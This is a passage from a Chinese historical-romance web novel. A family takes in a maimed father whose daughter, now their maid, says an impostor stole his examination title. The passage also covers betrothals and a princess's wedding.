霍鸣昶特准备给她吃的,还没吃完。
当半盒点心递到男子面前时,男子感激地看一眼万青黛,并没有火急火燎抓起来就吃,而是很有礼地向霍鸣昶等人做了一个揖,才伸出两手来捧盒子。
而他的手一伸出来,大家才发现他的手是耷拉着的,根本拿不住盒子,而是手腕合并夹起盒子,凑到嘴边,埋头吃。
吃得很慢,没有狼吞虎咽,且带着斯文。
可毕竟没有用手送进嘴里,吃得满嘴周围都是点心屑。
胡子上沾得更多。
他的表现让霍鸣昶产生了浓厚的兴趣。
这人是什么人?这么惨,还能保持礼仪。
他的手明显被人挑断了手筋。
还杵着拐杖,说明他腿也有问题。
他到底遭受过怎样的摧残,还能坚强地活着。
等他吃好,夏蝉又端了一杯水给他喝下。
男子又恭敬一揖,才把水喝了,擦干净嘴。
目露感激地看向霍鸣昶。
他知道是霍鸣昶才是一群人主事的。
一看就知道他是贵家公子。
他又郑重向霍鸣昶一揖,礼数周到。
“这位大叔,你既然能听到我们说话,那我问你什么你只管点头摇头,可好?”霍鸣昶对此人起了很大的好奇心。
况且他都把人送到医馆了,总要有始有终,把他送回家。
“你是京城人吗?”霍鸣昶开始问。
男子摇头。
不是京城人?那就麻烦了,送去哪里?
“你是来京城投亲的?”
又摇头。
“你在京城可有亲人?”
第158章 真是你爹?
这回是点头。
太好了,有亲人就好。
“可知亲人在哪里?”
霍鸣昶感觉这问题不像是摇头点头能回答的,正想换个问题,男子却突然激动起来。抬手指着万青黛,然后不停摇手,还流起了眼泪。
“大叔,你是说你有一个女儿,可是不见了,对吗?“万青黛似乎明白了他的意思。
男子用力点头,嘴里还发出呜呜声,说明他很激动。
突然,他从榻上下来,跪在霍鸣昶和万青黛面前,不停叩头。
“大叔,你这是做什么?”万青黛被吓了一跳。
男子又指着万青黛,做了一个怀抱的动作。
“你是想请我们帮你找女儿?”万青黛看懂了。
男子又重重点头,手指吃力地比了一个心型,又不停作揖。
说他们是好心人,求他们帮忙。
“鸣昶,怎么办?京城这么大,上哪儿找一个失踪的姑娘?而且又不认识。”万青黛小脸一垮。
男子又不停比画。
做了一个划船的动作,又用手在空气中写了个午字。
“你是说你的女儿是端午后不见的?“霍鸣昶猜测道。
男子点头又摇头。
不会说话真是麻烦,没法好好沟通啊。
“哎,算了算了,好人做到底,我先带你回家,再给你想办法,大不了到京兆府替你报案。”霍鸣昶看他生活都不能自理,能依靠的女儿又不见了。
可端午那日,没听说有女人失踪,不大可能被拍花子的拍走。
过年才刚刚抓获了一批拍花子的,短时间没人敢顶风作案。
未来大姐夫又不在京城,看来只得让大姐出面找一下余大人帮忙了。
男子又叩了几个头,才颤巍巍从地上爬起来,爬得很吃力。
阿??扶了一把才站好。
看他走路才知道他左腿是瘸的。
霍鸣昶把万青黛送回万家,离别前说了一句:“等我。”
才看着她一步三回头进府。
心里甜蜜蜜的霍鸣昶刚到府门口就看到大哥也刚到大门口。
“大哥,你送去的聘礼大嫂可还满意?”
“怎么笑得这么灿烂?遇到什么高兴事了?”霍鸣羡没答反问。
二弟一般藏不住事,什么都写在脸上。
“大哥,我也要让娘给我准备聘礼。”霍鸣昶凑到大哥耳边神神秘秘地悄声说道。
“哦?是不是万家小姐被你拿下了?”霍鸣羡拍了拍弟弟的肩膀。
“你怎么知道?”霍鸣昶愣住。
他从没表现出来过,大哥怎么这么清楚?
“哈哈,你小子,什么都表现在脸上,家里人都知道,就等你给准话呢。”
“啊?嘿嘿......”霍鸣昶的心事被家里人知道,也没觉得不好意思,反而傻笑起来。
“这人又是谁?”霍鸣羡早就看到被阿??扶着站在一旁的男子。
“我捡了一个人。”接着他就把遇到此人的情况说了一遍。
“哎,我们霍家人吃了那么大一个亏还是一如既往的......”霍鸣羡感叹。
“善良!”霍鸣昶接下后面两个字。
“没事,人存于世,无愧于天地。这是做人的最高境界。”
霍鸣羡看了看阿??扶着的男子,都残成那样,还双眼清明,没有埋怨生活,还要找自己的女儿。可见是个多么爱孩子的父亲。
霍鸣昶让阿??带去在倒座房里安置。明日再去京兆府报个案。
只是就在那男子跟着阿??往下人房那边走时,一个丫鬟手里拿着的东西突然落到地上。
“爹!”那丫鬟几步跑到那男子前面。
“爹,你怎么找到这儿来了?我不是让你在家等着我的吗?我给你留下的粮食是不是吃完了?还是又有人欺负你了?”丫鬟抓住那男子的手,连续问道。
“哦哦哦哦……”男子一看到自己的女儿激动的眼泪瞬间湿润了眼眶。
手不停地比画,在丫鬟脸上摸了又摸。又颤巍巍地把丫鬟搂进怀里。
“大哥,什么情况?大姐身边新来的丫鬟居然就是他的女儿?不会这么巧吧?那丫鬟叫什么来着?”霍鸣昶一时没想起来。
毕竟这俩丫鬟并没有近身伺候在霍凝玉身边,在霍鸣昶面前露脸的机会也少。
“好像叫琉
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璃,妹妹新起的名字,原来叫什么不知道。”霍鸣羡有点印象。
两兄弟走过去。
琉璃轻轻推开她爹,跪到两兄弟面前。
“奴婢见过大公子,二公子。奴婢这就把我爹送走。”琉璃怕主子责罚。
她能来霍家,是上天的眷顾,绝不能因此而失了留在霍家的机会。
“那真是你爹?”霍鸣昶问道。
那男子说不是京城人,他们怎么流落到京城来的?
既然她爹那么在意女儿,不可能把她卖了。
“回二公子,确实是奴婢的爹。”琉璃实话实说。
她刚才一看到爹,以为是他自己找来的,可想到她爹根本不知道她在霍府,他是怎么找到这里来的?
“你可知你爹到处找你,以为你不见了,而且他还饿晕在路上。你家里就没有别人了吗?”霍鸣昶继续问,故意表现出生气的样子。
他明显感觉这对父女有问题。
“二公子,奴婢......奴婢.....”琉璃不知道如何解释,吞吞吐吐。
琉璃的爹一瘸一拐走到霍鸣昶面前就是一揖。
又开始比画,可霍家兄弟没看懂。
“先进去再说。”霍鸣羡拦住还想问话的二弟,这里不是问话的地方。
琉璃扶着她爹跟在后面,来到霍家主院。
容华芝和霍凝玉都在这里,正等着霍鸣羡回来。
“大哥,怎么去了这么久才回来?是不是和未来大嫂在使馆里幽会?”霍凝玉取笑。
“调皮,是东临的使臣与我有话说,留我在使馆吃了午饭才回。”霍鸣羡解释。
“是不是很满意咱家准备的聘礼?”霍凝玉也很在乎东临使者的态度。
霍家花了不少心思来准备,还送去礼部审批过才送的。
关乎两国的邦交,马虎不得。
“嗯,收下礼单了。”霍鸣羡当时也有点紧张。
他知道六公主不会有意见,可使臣却会把话带回东临,要是引得东临皇不满意,是会写国书来申讨的。
“这人是谁?”容华芝听完两兄妹的对话,心里已经有数,这才问起早就看到的陌生男子。
第159章 状元之名被顶替
琉璃带着她爹老老实实跪下。
刚才进来的路上,她已经小声和男子说了这是什么人家。
“夫人,这是奴婢的父亲。他出门寻找奴婢,被二公子所救,带回府来。”琉璃立刻解释。
她还没来得及问父亲怎么会被二公子所救,又怎么会饿晕在路上。
霍鸣昶也把事情说了一遍。
“怎么回事?你有家人,怎么还**为奴?”霍凝玉吃了一惊。
余征送人来时,并没有说这两个丫鬟是什么身份,只说是赵大哥让他送来。
她还以为是靖王府的家生子,从庄子上找来的。
“是啊,你父亲出门寻你,说明他并没有卖你,你怎么做了奴婢?是不是有人抓了你卖给人牙子?”容华芝想得更多。
有些不正经的牙行,就会收一些被人抓来卖的。
那些被抓来卖的人,一顿暴打后只得乖乖听话。
“夫人......”刚说了两个字,琉璃就悲从中来,眼泪如断线的珠子流出眼眶。
男子见女儿哭得伤心,用破旧的衣袖轻轻给她擦拭,也伤心流着眼泪。
霍家几人看到他们父女哭成这样,就知道他们肯定经历了很多苦难。看那男子一身伤残就知道,他必定经历过非人的折磨。
几人都没打断他们父女,等他们哭够。
而就在这时霍鹏程也回来了。
霍鸣昶又小声把事情说了一遍。
这时父女俩也稳住了情绪。
男子不停向琉璃比画。
只有琉璃能看明白。这是他们一起生活多年建立起来的沟通方式。
等他比画完,琉璃重重点头。
琉璃膝行几步到霍鹏程面前,重重叩了一个头,抬起头来时,又是泪流满面。
“霍大人,请为我们父女做主。我们父女是进京告御状的,可奈何我们只是小老百姓,根本见不到皇上。
我们本想找京兆府,可京兆府一听说我们是外地来的,不接。要我们回乡找当地官府,需一层层往上。
可是我们地方的官府更是不受理,说我们无理取闹,无中生有。”
霍家几人听了这几句都震惊不已。
告御状?那得有多大的冤啊。
“仔细道来。”霍鹏程示意。
琉璃这才说起他们父女的经历。
“我们本是湖州府人氏。我爹叫李言,奴婢叫李仙儿。
十二年前,我爹进京赶考,路上遇到同乡,名叫黎彦,一见如故,两人一起合赁了房子住。
会试时黎彦就落了榜。而我爹考了会元。但黎彦并没有离开,而是陪着我爹,想等着一起回乡。
可就在殿试过后,我爹回到住处就病倒了。
三日后放榜,请黎彦帮忙看榜。
当他看完榜回到住处,就把我爹迷晕,冒充我爹,接待报喜的官差。
到了晚上,就把我爹毒哑,挑断我爹的手筋,让他说不了话,写不了字。他又怕我爹这样还会去官府报案,又打断我爹的左腿。
又怕被人认出来,划烂我爹的脸,毁了他的容。
他不敢**,找来一辆马车,把我爹送上一艘船,迫使我爹离开京城。
当年那艘船把我爹带出很远,好在船家是个有良心的,或者是怕我爹死在他船上,为我爹上了些伤药,我爹活了下来。
可是却把我爹带出两千多里。
等我爹好不容易回到家时,已是两年后。
他是一路乞讨回来的,可是我娘以为我爹早就死在了京城,伤心过度,短短两年时间就病入膏肓。
我爹回来的那天,正是我娘去世那日。
可是爹说不出话,也写不了字,想讨回公道,根本办不到,只能等我长大。
前年我终于满十四岁,可以陪爹告状了。县里,府衙,我们都去过,没人理会我们,说我们胡说八道。还说我爹得了癔症。
为此我爹被打了几次板子。
最终我们决定进京告御状,靠奴婢的一手绣活换钱做路费,走了整整五个月才到京城。
可是京城更是难上加难。
讨回公道无望,奴婢没办法,只得瞒着我爹把自己卖了。
我想进官家,想找依靠,更想找机会。
正好被余大人买了去。
在余大人手里接受训练,我才慢慢打听到当年顶了我爹状元名的人,居然就是当朝吏部侍郎,他还用着我爹的名字,李言。
他还娶了庆国公府三房的一个嫡女为妻。
霍大人,我们父女落到如今这般田地,全是那黎彦所害。
他根本就没考上进士,他是冒了我爹的功名。
为
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了事情不暴露,把我爹的手筋挑断,嗓子毒哑,腿也打断,他害得我爹好苦啊。
请霍大人为我们做主。”
琉璃声泪俱下说完,又叩了下去。
他爹也同时叩了下去。
霍家人听完,面面相觑。
世上怎么会有这样的事情发生?
霍凝玉凝眉细想了想。
在她魂飘第四年时,吏部侍郎李彦好像被家里的一个婢女给杀了。
她自是没有亲眼看到,是事后听说。
说是他与那婢女私通,迫于妻子的压力,不敢认帐,那婢女一怒之下,一根簪子直插他心脏,当场死亡。
难道那个婢女就是眼前的琉璃。
告不了御状,就**为奴进了侍郎府,直接**报仇。
这是玉石俱焚也要杀了仇人。
如果她说的是真的,那很有可能前世她就是那样报仇的。
吏部侍郎,娶的还是庆国公府三房的嫡女。
庆国公府,辰王的外祖家。
这不是又一个把柄送到她面前吗?
“此事事关重大,这么多年过去,如果没有实足的证据,是告不倒人的。你爹暂且在我霍府住下,也不要随便出门。
琉璃好好在小姐身边当差即可。本官心里自有定夺。
你们放心,此事本官一定给你们一个交代,但不是你们想的那般容易,还得从长计议。”霍鹏程沉声道。
如果他们所言是真,那吏部侍郎的胆子也太大了。
这么多年都没让人发现端倪,藏得可真好。
同朝为官多年,也同为状元,都是百姓津津乐道的人物。
仔细回想了一下,自殿试后,从没听说吏部侍郎还出过佳作,哪怕像样点的诗句都没见他写出过。
反而十分懂得钻营。
得了状元后,被庆国公府看上,招为婿。
而那时他的年龄应该二十四岁,却说自己没有娶妻。
也不知是真是假。
如果他娶了妻,却又娶庆国公的女儿,那就是停妻另娶。
很有可能,后来得势后,把家里已经处理好。现在估计也查不出破绽。
琉璃带着他爹去安置。
而霍家人都陷入沉思。
“父亲,此事当如何办?”霍鸣昶感觉自己好像给家里带来了一个**烦。
第160章 苦难父女
这事不知道也就罢了,可这么大的案子,要是不大白于天下,真的没有天理。
“凝玉,你以前可有听说过他们父女的事?”霍鹏程要确定他们说的事情是不是真的。
“父亲,我听说李侍郎被一个婢女所杀,其他的不知道。不过那是三年多以后。我猜那婢女应该就是琉璃。只是现在她到了我身边,应该不会走上那条路。”霍凝玉如实道。
她的重生改变太多,后面会如何发展,现在她也没有把握。
“父亲,琉璃所说之事,十有**是真。这事要不要直接报刑部?”霍鸣羡问道。
“不能直接报到刑部,辰王和袁贵妃经营这么多年,哪个部都有他们的人。一旦报去刑部,庆国公肯定第一时间知道。
李侍郎的夫人虽是庆国公府三房的嫡女,但吏部是六部之首,负责整个南楚文官的任免、考核、晋升、勋封、调动等事务。
这样的职务,他们无论如何都会想尽办法保住。
这也是辰王最大的优势之一。
而李侍郎最善钻营,这些年不知给辰王笼络了多少人。
要是逼急了,他们会直接**灭口。琉璃父女两人的安危就成最大问题。而他们是整件事的关键,也是苦主,不能出事。”霍鹏程不赞成直接暴露,那样太危险。
“是儿子考虑不周。”霍鸣羡惭愧低下头。
“你还没入官场,有些事为父也没有与你讲得太透,怕影响你读书。
再过两日你的任职书就要下来了,以后好好历练。不可意气用事。
自古官官相护,结党营私。皇上也左右为难,受朝臣挟制。
明道有德,顺道有为,廉洁奉公,任人唯贤,这是为官之道。但真正能做到者,百之无一。
人都有私心,先为自己考虑,后为他人考虑,所以才有刑部,管天下刑狱之事,维持世道。
我霍家虽不做有违国法和道德之事,但也要懂变通,而不能迂腐。
善有善道,恶有恶道。两者在特定时机可并存而用。”
霍鹏程趁机教子。
三个孩子都认真听着。
“谢父亲教诲。”两兄弟同时道。
“他们父女先养在府里,等赵壑回来,让他来办最合适。可以跳过刑部和大理寺,而且他直属圣上,可直接上达天听。
这样就不会给辰王一派任何做手脚的机会。”霍鹏程有女婿用,何必自讨苦吃。
“嘿嘿,爹,你太坏了,想了半天,原来是在算计赵大哥。”霍凝玉听得发笑。
讲了半天,原来是甩包袱。
“哈哈......”霍鸣昶也笑得肆意。
气氛一下由刚才的沉闷变得轻松。
“既然如此,那就先放一边,等他回来再说,这事本就不是你们父亲能管的事。
鸣昶,今日你跑哪儿去了?一天没见人影。”容华芝逮住小儿子问道。
“娘,我去给你找儿媳妇去了。”霍鸣昶瞬间笑得有点傻。
“什么?情况如何?姑娘有没有点头?”容华芝一下来了精神。
“那当然。我娘这么漂亮,生出的儿子自是玉树临风,迷得姑娘神魂颠倒,我一开口,青黛就毫不犹豫点头了。”霍鸣昶如花孔雀般自恋。
“哈哈......”
他一句话引得一家**笑。
“好,明日我就遣媒人上门提亲。”容华芝终于把一颗心放回肚子里。
三个孩子的亲事都定下了,看谁还会打霍家的主意。
琉璃带着她爹来到外院找管家安排下住处。
李言拉着女儿,不停比画。
【你为什么在霍家?而且还是奴婢。你什么时候**为奴的?你不是说出去做工的吗?】
“爹,我们来了京城这么久,想要申冤,难如登天,唯有敲登闻鼓。可敲了登闻鼓就得先受五十杖刑。
爹,您这身子骨哪里受得了五十杖,女儿也受不住,女儿要是**,谁来照顾您?女儿才想着**为奴,进入官家,希望得遇良主,再为我们做主。
哪怕只是一线希望也是希望。
您看,天无绝人之路,我进了户部尚书家。
他是个好官,他一定能想到办法帮我们的。
我们一定要好好活着,看到黎彦那狗东西死无葬身之地。”
李言看到女儿坚定的眼神,泪再也止不住,轻轻将女儿搂进怀里,身子颤抖着。
“爹,我知道你不想我**为奴,可比起您的冤
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屈,这又算得了什么。
只要能为您申冤,是良民还是奴婢又有什么关系,只要我们都活着,只要我们有机会申冤,一切都值得。
而且霍小姐对我很好,我现在还学了一身武艺,除了保护小姐,也能保护爹爹。”
想到他们一路进京的艰难,被多少人打骂过,欺负过。
甚至乞讨过。
她为了不被男人欺负,特意把脸扮丑才得以一步步走到京城。
都到了京城,她怎么甘心放弃。
李言还想再比画,可是看到女儿坚定的眼神,他只能无声地哽咽。
眼泪哗哗流下:都是爹没用。
李言用手捶打自己的胸口,恨自己无用。
“爹,你为什么会被二公子所救?”琉璃擦了擦眼睛,才问起缘由。
她明明给父亲留了足够的米粮。
她刚到新的主家,在没有得到新主家完全认可前,她不敢出府,怕引得主家不喜。
以前在余大人手里时,每半个月她们受训的姑娘都有一日假。
想着一个月时间应该能找到机会出府。
这还不到一个月时间,就出事了。
李言又一通比画。
【隔壁邻居家的孩子把你留下的粮给偷走了。
于大娘还说看到你被人牙子给卖了,再也不会回来。
我一急就出门找你,你说过你在一家茶楼做事的,我就一家家找,可是找了两天也没找到你。】
“气死我了,那于大娘就不是个东西,看我多日不回,肯定是故意指使她儿子来偷的。明日我就去教训他们一顿。”琉璃小拳头一握。
她现在可是有武艺的人,想要教训那混小子,肯定不在话下。
李言连连摆手。
【不用了,既然你已进了霍家,就要守霍家的规矩,不可惹事。】
“好吧,便宜他们了。我刚来的那日,小姐就说了,要给我们开一两银子的月银。
我们能在一起,真是太好了,爹就放心住下,哪怕什么也不做,我的月银也能养活爹。”
李言点点头,摸了摸女儿的头,脸上露出欣慰的笑容。
父女俩的交流,被窗外的青风看了个真切,青风随即将所见报给霍凝玉。
第161章 换庚帖
“真是一对苦难的父女。”霍凝玉感叹,“青风,最近几日,我都不出府,你就出去帮我打听打听吏部侍郎的消息吧。”
“是,县主。”青风领命而去。
容华芝得了二儿子的准信,请了官媒,带上霍鸣昶去万家提亲。
万二夫人笑得见牙不见眼。
“真是太好了。公爹和大伯哥早就催我给大侄女定下人家。可是我想给她挑个最好的,挑来挑去,都没遇到入眼的。
高门,咱们万家攀不上,低门的又怕委屈了青黛。
普陀庵的事,对青黛多少也有些影响。门当户对的人家,总拿这事来说,看不上青黛。
没想到我们青黛有这么好的姻缘等着她。”万二夫人很会说话。
侄女比霍二公子大半岁,她自是不敢想。
二公子是要考科举的,不可能太早成亲,而侄女也不可能等到二十才成亲。
“那这亲事,我们就这么说定了,要不要与祭酒大人和万郎中商量一下?”容华芝也高兴。
“这么好的亲事,不用商量,我就能做主。”万二夫人很肯定地说道。
“好,那我们今日就交换庚帖。”容华芝从怀里拿出霍鸣昶的庚帖。
媒人接过,查看了一下。
万二夫人也让人拿了万青黛的庚帖交给媒人。
“老身这就找人合八字。”媒人欢喜接过。
这么轻松促成一对姻缘,谢媒钱一文不少。
这样的好事,天天有就更美了。
容华芝在正堂与万二夫人又闲聊了一阵。
而霍鸣昶找了个借口出去找万青鸿,实际是让人把万青黛约到园子里。
把好消息先告诉她。
“青黛,你是想早些过门,还是等我考过会试再过门?”霍鸣昶问得直接。
羞得万青黛不敢抬头看他。
过了好一会儿万青黛才开口:“那你是怎么想的?”
“我当然希望你早些过门陪我啦,有人给我做饭,有人给我送羹汤。还有人给我做衣服......”霍鸣昶连数了多个好处。
“敢情你把我当奴婢用?”万青黛故意生气。
“怎么是奴婢呢,那叫红袖添香。”霍鸣昶美其名曰。
“可是你才刚刚十六岁,怎么可以......”圆房两个字她说不出口。
“成亲谁说一定要圆房?我们可以先成亲,等十八岁后再圆房也可以啊。”霍鸣昶想到有心爱的姑娘陪着的感觉,一定很美妙。
大哥下个月就要娶大嫂了。
大姐也经常与未来姐夫私下见面。
只有他还孤单一人。
不行,他要早些把青黛娶回去,不圆房,有人为他磨墨也行呀。
“这样也行?”万青黛从没想过还可以这样。
那不成了童养媳?
“怎么不行?万一有人算计你,或者算计我,我们就算定了亲也有可能成不了亲。所以早些过门,把一切可能都掐死在摇篮里。”霍鸣昶说得有理有据。
万青黛听得心里甜丝丝的。
她知道那不过是霍鸣昶找的理由,其实就是想早点娶她过门。
能有这样爱重自己的夫君,夫复何求。
万青黛红着脸,轻轻点了点头。
“太好了。”霍鸣昶一高兴,上来就给万青黛一个大大的拥抱,“我的青黛最懂我心。”
“咳咳.....“
有假意的咳嗽声传入耳。
两人立刻分开。
“原来是未来大舅哥。”霍鸣昶嘻笑着上前勾住万青鸿的肩膀,“以前你是万大哥,以后是大舅哥,我们就是一家人了。今儿本公子请你去喝酒。
再过几天,你就要上值了,想请你喝酒都没机会。
我也要上学,今日我又请了一天假,明日夫子肯定会罚我一顿,所以今日的时间可宝贵了。”
霍鸣昶向万青黛摆了摆手,就拉着万青鸿出了万家,连容华芝都不等了。
两人还真找了一家酒楼喝酒。
“你小子,不声不响的就骗了我妹妹的感情。你才十六岁,懂男女之情吗?”万青鸿玩味一笑。
这小子估计才刚读通四书五经,估计连意思都还没搞懂,就想娶妻了。
不过一些想早得贵子的人家,确实有让儿子十六岁就成亲的。那是特殊情况,子嗣单薄的人家,怕后继
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无人。
一般人家都会等儿郎满了十八。不然早早沉迷闺房之乐坏了身子,更是于子嗣不利。
“谁说我不懂,不就是想和心爱的女子天天在一起吗?我现在就是这个想法。你敢说我这不是情爱?”霍鸣昶被鄙夷,大声嚷嚷,来表达自己是懂情爱的。
“好吧,我就当你真懂。那我这个大舅哥可是要先说好。
青黛是我唯一的亲妹妹,你要是敢给她半点委屈受,看我怎么收拾你。”万青鸿“咬牙切齿”道。
“啊,不是吧,我娶个媳妇,还要多个人管啊?”霍鸣昶有点懵。
“现在知道怕了?”万青鸿看到霍鸣昶那可怜的表情,心里闷笑。
小样儿,连他这个做大哥的都没定下亲事呢,这小子就抢先一步了。
可是他也想娶自己喜欢的姑娘,姑娘在哪儿啊?什么时候才出现啊?
二婶倒是找了多家给他选,可是都没见过两面,又不是他喜欢的。
经过几日的打听,青风把吏部侍郎的消息打听清楚后回来复命。
“县主,吏部侍郎当年顶了状元之名后,就被袁家三房看中,招为女婿。
很快就成了亲,成亲后他也没回乡,而是六年后才趁一次出公差回乡一趟。
至于他回乡后都做了些什么,太远,查不到。
有袁家的帮衬和辰王这层关系,再加上他很会拍马逢迎,职务升得很快,只短短十二年时间就升到了侍郎之职。
这些年他在私生活上,不敢有半点越矩,与他夫人琴瑟和鸣。
但为了助辰王,每年在官员考核时,对辰王一派的官员自是照顾颇多。所以各部和外任的官员,不少与辰王都有牵扯。”
“果然不出我所料。他在职务上行方便之门,为辰王拉拢人脉。
我估计他回乡的那次,肯定有大动作。”霍凝玉猜测。
“县主是说他把自己的家人都杀了?”青风不可思议。
那可是生他养他的父母,怎么敢?
这得有多丧尽天良。
“有没有杀,最好让人去查一查。你给余大人带个话,请他抽个时间来一下。”
第162章 娶大嫂了
余征当晚下了职就悄悄来了霍家。
霍凝玉在外院书房把李彦父女俩的事说了一遍。
“余大人,此事一定要做到人不知鬼不觉地去查,吏部侍郎肯定在他的家乡安排了自己人,不然不可能这么多年没人发现端倪。
好在李彦与他只是同一个州府,不在同一个县,且是两年后才回到家,躲过他的眼线。
这些年李彦都安安分分,不然早就被他给私下处理了。”霍凝玉强调。
“另外,如果查到他真把自己父母给杀了,最好把他的乡邻带几个进京,到时作为人证。”霍鹏程补充道。
“好,我这就安排人去查。湖州府离京有些远,可能需花些时间。”余征一口应下。
他也大吃一惊。
居然有如此胆大妄为之人,千百年都没遇到过的奇案。
高中后抛妻弃子的有,贬妻为妾的有。还是第一次听说有冒名顶替的。
“此事不急。慢慢查。”霍凝玉想等赵炳煜回来再说。
六月初,霍鸣羡正式上职,入翰林院做编撰。
鲁谦昀和万青鸿也入翰林院做编修。
三人关系好,自成一个小团体,没人敢给小鞋穿。
六月十五,东临国就把六公主的嫁妆送到了使馆。
婚期定在六月二十八。
皇后于婚期的三天前就把萧婉仪接进了宫,从宫里出嫁。
皇帝是舅舅,充当娘家人。
霍凝玉提前进宫陪在萧婉仪身边。
慧兰县主居然也来了,但却没有半丝笑容。
估计是大公主硬要她来的。
还有宫里的两个没出嫁的公主。
几个姑娘陪着说笑。
当凤冠戴上的那一刻,萧婉仪的气场完全不一样了。
“哇,表姐真漂亮。”五公主惊呼出声,“新嫁娘的装扮就是不一样。”
“我已经给大哥交代过,送入洞房就先给你取下凤冠,不然你这脖子可受罪了。”霍凝玉的出发点与别人就是不一样。
“你怎么知道?”萧婉仪好笑,小姑子好像戴过似的,知道重量。
“我娘说的。”借口,霍凝玉随口就能找到。
她的确戴过,但应该没有公主的重。
霍鸣羡踩着吉时来到宫中。
六皇子被安排今日背新娘。
不是背出宫,而是直接背到崇华殿。
帝后在此等着。
霍鸣羡再次向帝后行拜别礼。
“婉仪,你虽是东临的公主,但却是朕的亲外甥女。朕今日送你一张令牌,许你可自由出入皇宫,以后你想进宫找朕或者皇后,无需先上请见折子。”乾德帝温声道。
这个外甥女自来了南楚,从没给他添过麻烦,十分懂事乖巧,深得他喜欢。
说明小皇妹把她教导得很好。
他把对小皇妹的亏欠补偿在外甥女身上。
“入了夫家就是夫家的人,霍家长子状元之才,配你也当得。祝你们夫妻和美,白头到老。
下次东临皇过大寿时,朕就派你们夫妻出使东临,解你思乡之情,也让你母妃见见她女婿。”
“多谢皇舅舅厚爱。”萧婉仪跪下。
霍鸣羡也跟着跪下。
这一刻,萧婉仪感动不已。
皇舅舅是真心疼爱她。
远离母妃后,还能得到这份疼爱,她知足了。
“婉仪,今日出嫁,本宫也没什么好说的,以后常到宫里来走动走动。凤栖宫就是你娘家。”皇后也交代道。
文武百官就站在两旁,看着一对新人向帝后拜别。
霍鸣羡扶起新娘,接下来的路,他自己背,把人背出宫再上花轿。
新娘的脚不能沾地。
乾德帝和皇后目送他们出去,又一起来到霍府。
新人行三跪九叩之礼,帝后也要受礼。
霍鹏程和容华芝难得与帝后并排坐下,接受新人跪拜。
萧婉仪的嫁妆,直接从使馆里抬出来,跟在迎亲队伍后面。
真真十里红妆。
两国皇帝给的嫁妆,相当于双份。
哪个女子有此殊荣?
乾德帝是愧疚,把她嫁给一个三品官家之子。
以前的和亲公主都是嫁给皇子或者直接进宫做妃子。
只有萧婉仪是唯一一个下嫁这么低的,所以才会大方给一份丰厚的嫁妆。
吉时到,礼部尚书桑泽辉主持婚礼。
整个婚礼都是他带着人安排进程。
随着桑泽辉的三声高喊,新人进行了人生最关键的三拜,从此他们就是相互扶持一生的夫妻
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这一日,霍府高朋满座,热闹非凡。
只可惜赵炳煜没来,霍凝玉心里有些淡淡的失望,就连钟离大哥也不在。
霍家把除了主院之外最大的院子用作新房。
霍鸣羡亲自提的字,取名叫:仪香院。
翌日,新人敬茶时,霍凝玉看到新嫂嫂的脸色红润有光泽,可见昨晚两人蜜里调油。
“大嫂。”霍凝玉上前把人扶住。
“大嫂。”霍鸣昶也想来扶,可是刚伸出手,就被霍鸣羡给拍了一巴掌。
“别没大没小。”
“我还是个孩子,扶一下大嫂怎么了?”霍鸣昶还不知道自己错在哪里。
大嫂既然进了霍家门,那就是一家人,就是亲人。分那么清干什么。
两兄弟的互动,引得萧婉仪笑出声。
“二弟,你大哥和你开玩笑的。”萧婉仪安慰道。
“虽是你大嫂,但也要注意男女有别。就是对你大姐也要注意分寸。”容华芝轻斥。
“好吧,长大了就这点不好,想起小时候,我还和大姐睡在一张榻上呢。”霍鸣昶小声嘀咕。
可是谁都听到了。
“那时你才三岁,你大姐才五岁。”容华芝狠狠瞪了一眼。
看到这样的一家人,萧婉仪心里被幸福和温暖填得满满的。
能与这样的一家人生活在一起,是她三生之幸。
不枉她跋山涉水几千里路而来。
皇宫里根本没有这样的温暖。
就是自己的母妃也曾利用过她来争宠。她来和亲也是为母妃巩固地位。
“准备敬茶吧。”霍鹏程打断老妻还想再训的冲动。
霍鸣羡带着妻子恭敬跪下。
丫鬟立刻端上托盘。
萧婉仪接过:“公爹请喝茶。”
又接过一杯:“婆母请喝茶。”
两人一起饮下这杯新媳妇茶。
“婉仪,我们霍家男儿除非四十无子方可纳妾,所以家里没有乱七八糟的人和事。
你虽是东临公主,身份尊贵,但既然已是我霍家妇,在家里就是一家人,而不是公主。至于在外,你该如何就如何。
我们霍家的媳妇,不用叫公爹和婆母,那样太过生疏,你就随鸣羡叫吧。”霍鹏程温声道。
第163章 重磅消息
萧婉仪听了这话感动的眼泪瞬间溢满眼眶。
这才是真正的家人。
真好,她以后也有幸福的家,而不是宫中的那个冷冰冰的宫殿。
“是,父亲,母亲,儿媳记下了。”萧婉仪又恭敬地拜下。
霍鸣羡看到她滴在地上的一滴泪,立刻把人扶起。
“怎么了?”
“有这样的父亲母亲,让我感动。”说完,萧婉仪带着泪的脸上,笑得很灿烂。
一家人都因她这句话而笑了起来。
“娘,我也要早些把青黛娶回来,到时你两个儿媳妇一起疼,可不能厚此薄彼。青黛没有娘,她更需要娘的疼爱。”霍鸣昶嚷嚷道。
“刚说不能厚此薄彼,你就要求我多疼她。”容华芝故意找他话里的毛病。
“我......”霍鸣昶被堵得一噎。
“已经在准备聘礼了,你大哥刚娶了你大嫂。同一年,不能办两次喜事,明年你大姐出嫁,你怎么也要等到后年。那时你正好十八岁。”容华芝挑了挑眉,说出的话让霍鸣昶蔫了。
“哎,我都说动青黛早些嫁过来,这可怎么办?”
“急什么?你好好温书,争取也能如你大哥一样。到时再风光娶妻,喜上加喜,不更好?”霍鹏程好笑道。
时间很快滑到七月初,天气越来越热。
地处南方的南楚国,比东临还要热几分。
每年七月初五,皇帝带文武官员和宫中妃嫔去华云山避暑。
而就在礼部一切准备就绪的七月初四,一个重磅消息在早朝上炸开了锅。
城门一开,一队风尘仆仆的男子冲进京城,直往皇宫方向。
走到半路,随从散去,三个领头继续前进。
到了宫门口,其中一人从怀里掏出一物,在守门的禁卫面前一亮,禁卫立刻放开,几人策马跑进皇宫。
三人到了御阶前才跳下马,引得金銮殿外的禁卫们齐齐举起武器,当看清来人时,又齐齐把武器放下。
“靖王世子觐见。”一个小太监立刻高声唱喏。
乾德帝在殿内听到这一声喊,眼睛一亮。
“快让他进殿。”
“臣赵炳煜叩见皇上。“
“臣钟离洛叩见皇上。”
“臣赵壑叩见皇上。”实际是林宇戴了面具假扮的。
三人齐齐单膝跪下行礼。
“快快平身。”看到三人平安归来,乾德帝眼含期待地让他们起来。
“谢皇上。”
“如何?”乾德帝眼中的期待更甚。
“回皇上,幸不辱命,西凉太子——薨!”赵炳煜眼神灼灼。
他在说最后一个字时,故意停顿了一下。
